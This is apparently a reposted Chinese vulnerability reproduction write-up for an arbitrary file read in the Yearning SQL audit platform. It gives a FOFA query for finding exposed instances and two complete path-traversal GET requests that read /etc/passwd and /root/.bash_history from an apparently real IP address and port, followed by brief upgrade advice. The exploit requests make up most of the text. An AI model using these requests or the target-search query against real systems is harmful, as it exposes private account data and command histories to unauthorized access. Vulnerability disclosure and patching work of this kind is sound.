一、漏洞描述
Yearning是一款专业的SQL审核平台,对MYSQL web端SQL数据库进行审核的软件!Yearning支持SQL查询、SQL审核、推送、用户权限及管理等功能,免费开源。该系统Yearning 2.3.1 版本、Interstellar GA 2.3.2 版本和 Neptune 2.3.4 -2.3.6 版本存在任意文件读取漏洞。攻击者可以利用该漏洞获取敏感信息。
二、漏洞复现
1、fofa语法查找:app="Yearning "
2、登录界面
3、漏洞利用:使用poc进行漏洞复测
查看用户文件
GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/
1.1
Host:
47.97
.
34.224
:
8081
Upgrade-Insecure-Requests:
1
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
116.0
.
0
.
0
Safari/
537.36
Accept: text/html,application/xhtml+xml,application/xml;
q
=
0
.
9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed
-exchange;v=b3;
q
=
0
.
7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;
q
=
0
.
9
Connection:
close
查看历史使用命令
GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/root/.bash_history HTTP/
1.1
Host:
47.97
.
34.224
:
8081
Cache-Control: max-age=
0
Upgrade-Insecure-Requests:
1
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
116.0
.
0
.
0
Safari/
537.36
Accept: text/html,application/xhtml+xml,application/xml;
q
=
0
.
9
,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed
-exchange;v=b3;
q
=
0
.
7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;
q
=
0
.
9
If-Modified-Since: Mon,
15
Jan
2024
09:
52
:
48
GMT
Connection:
close
三、修复建议
1、将含有漏洞的版本进行升级到安全版本
2、关闭互联网的暴漏面或者设置访问的接口的权限。
原文始发于微信公众号(蚁剑安全实验室):【漏洞复现】Yearning front 任意文件读取漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论